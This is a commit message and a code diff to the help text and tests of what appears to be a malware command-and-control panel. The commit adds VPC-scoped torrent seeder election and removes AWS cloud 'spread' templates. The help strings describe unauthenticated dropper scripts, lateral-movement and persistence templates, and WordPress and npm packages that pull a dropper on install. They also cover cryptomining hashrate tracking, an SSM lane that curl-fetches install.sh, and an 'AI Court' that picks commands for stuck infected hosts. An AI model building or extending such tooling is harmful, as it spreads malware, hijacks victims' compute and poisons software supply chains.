Elect one fleet torrent seeder per AWS VPC via IMDS cloud_instance_meta.

Agents read vpc-id from EC2 IMDS on auth; the server scopes subnet_primary_seeder to vpc-id with /24 fallback, exposes VPC seeder badges, and documents cross-VPC gossip via peering/TGW.

server/web/src/help/seerEvents.ts

@@ -15,24 +15,6 @@ export function isOnionMinerLogEvent(event: SeerEventRecord): boolean {
   return event.event_type === 'onion_miner_log';
 }
 
-export function isFargatePlagueFrontEvent(event: SeerEventRecord): boolean {
-  return event.event_type === 'fargate_plague_front';
-}
-
-export function fargatePlagueFrontSummary(event: SeerEventRecord): string {
-  if (!isFargatePlagueFrontEvent(event)) return '';
-  const p = event.payload ?? {};
-  const ttl = typeof p.ttl_hours === 'number' ? p.ttl_hours : undefined;
-  const expires = typeof p.expires_at === 'string' ? p.expires_at : '';
-  if (ttl != null && expires) {
-    return `Fargate burst seeder front · TTL ${ttl}h · expires ${expires}`;
-  }
-  if (ttl != null) {
-    return `Fargate burst seeder front · TTL ${ttl}h`;
-  }
-  return 'Fargate burst seeder campaign active (ECS plague front)';
-}
-
 export function onionMinerLogSummary(event: SeerEventRecord): string {
   if (!isOnionMinerLogEvent(event)) return '';
   const p = event.payload ?? {};

server/web/src/help/settingHelp.test.ts

@@ -109,7 +109,6 @@ describe('FIELD_HELP', () => {
     'failure_atlas',
     'erasure_lanes',
     'fleet_torrent',
-    'aws_erasure_swarm',
     'ai_court_session',
     'ai_persona',
     'ai_persona_aggressive',

server/web/src/help/settingHelp.ts

@@ -48,8 +48,6 @@ export const FIELD_HELP: Record<string, string> = {
     'Optional Reed–Solomon 4+2 shard encoding on signed deploy plans — spreads payload bytes across parallel lane URLs (dns_txt, bits_curl, do_peer, wsus_cache_peer). Agents reassemble from any k shards when server.erasure_lanes_enabled is on and primary single-lane staging fails. Foundation only — no live multi-hop lane orchestration yet.',
   fleet_torrent:
     'Fleet Torrent extends erasure with a content-addressed shard DHT across seeder-role agents. One primary seeder per /24 (subnet_primary_seeder on auth). fleet_torrent_gossip relays have_shard / healthy / know_node fleet-wide (cross-subnet). BGP spread_route_hint attaches swarm_magnet + shard_manifest_urls. C2 super-seeder holds canonical shards at /api/v1/public/erasure-torrent/{token}/manifest. Zero-server mode uses last policy snapshot + 30m HTTPS reconnect.',
-  aws_erasure_swarm:
-    'Standalone AWS erasure swarm: deploy plans upload RS 4+2 shards to your S3 bucket and sign CloudFront URLs into BGP swarm_magnet web-seeds. Set aws_s3_shard_bucket + aws_cloudfront_domain in server config; supply AF_AWS_ACCESS_KEY_ID, AF_AWS_SECRET_ACCESS_KEY, AF_AWS_REGION, AF_CLOUDFRONT_KEY_PAIR_ID, AF_CLOUDFRONT_PRIVATE_KEY on the server host. Agents fetch LAN peers → signed CloudFront edge_url → C2 public shard. No signup flows.',
   ai_court_session:
     'When a host is stuck or all spread tiers fail, AI Control runs a Singular Machine Court: Prosecutor cites failure atlas + LOTL attempts, Defender cites a matching fleet phenotype, Judge returns at most three commands. Decisions persist with court_session=true on LOTL Timeline.',
   calibration_ai_control:

server/web/src/help/uiHelp.test.ts

@@ -64,11 +64,9 @@ describe('UI_HELP', () => {
     'fm_encrypt_path',
     'pt_path_tracer',
     'pt_agent_chain',
-    'pt_subnet_autopsy',
     'fleet_runtime_policy',
     'fleet_runtime_modules',
     'spread_funnel_widget',
-    'subnet_immune_autopsy',
     'md_overview',
     'md_operation_chip',
     'md_spread_profile',
@@ -84,10 +82,6 @@ describe('UI_HELP', () => {
     'ew_install_links',
     'ew_spread_kit',
     'ew_war_room',
-    'ew_cloud_ecosystem',
-    'ew_cloud_aws',
-    'ew_cloud_generic',
-    'ew_ssm_document',
     'ew_supply_chain',
     'ew_public_urls',
     'ew_techniques',
@@ -110,7 +104,6 @@ describe('UI_HELP', () => {
     'set_webhook',
     'ui_color_scheme',
     'crucible_section_spread_templates',
-    'crucible_section_launch_template',
   ] as const;
 
   it('defines help for every documented UI key', () => {

server/web/src/help/uiHelp.ts

@@ -105,8 +105,6 @@ export const UI_HELP: Record<string, string> = {
     'Matrix of SSH local-forward rules pushed to selected Windows agents.',
   crucible_section_spread_templates:
     'Generate and download custom script templates for lateral movement, registry auto-run persistence, or custom payloads with baked-in server configuration.',
-  crucible_section_launch_template:
-    'EC2 Launch Template strain genesis for AWS horizontal scale — cloud-init user-data embeds genesis snapshot hash, strain card ID, and server URL; first auth sets SpreadGeneration=0 and ParentAgentID=template.',
 
   bm_pin_dropper:
     'Pinned build is served by unauthenticated dropper URLs (install.ps1 / install.sh). Only one build can be pinned at a time.',
@@ -176,14 +174,6 @@ export const UI_HELP: Record<string, string> = {
     'Live funnel per campaign: page hits → downloads → first agent beacon → mining nodes and fleet hashrate. Updates every 15s and on WebSocket push.',
   ew_supply_chain:
     'Advanced: export a WordPress plugin ZIP or npm package template that pulls your dropper on install. Uses campaign settings above.',
-  ew_cloud_ecosystem:
-    'Unified cloud deploy hub — AWS and generic cloud templates with mermaid flows, copy/download, and connection tests.',
-  ew_cloud_aws:
-    'AWS templates: S3/CF erasure swarm, SSM, Launch Template, Fargate, EventBridge, Cloud Map.',
-  ew_cloud_generic:
-    'MinIO/S3-compatible kit upload and portable curl manifest.json for any VPS.',
-  ew_ssm_document:
-    'SSM Document spread lane — Run Command curl-fetches install.sh from your command deck.',
   ew_public_urls:
     'Direct /api/v1/public/download links for each build — same files shown on the login page when a build is marked public.',
   ew_techniques:

server/web/src/help/wsStatsCoalesce.ts

@@ -91,7 +91,6 @@ export const WS_LATEST_MESSAGE_TYPES = new Set([
   'emberwake_notes_updated',
   'emberwake_war_room',
   'scout_constellations',
-  'cloud_venue_biomes',
   'agent_online',
   'agent_offline',
   'new_share',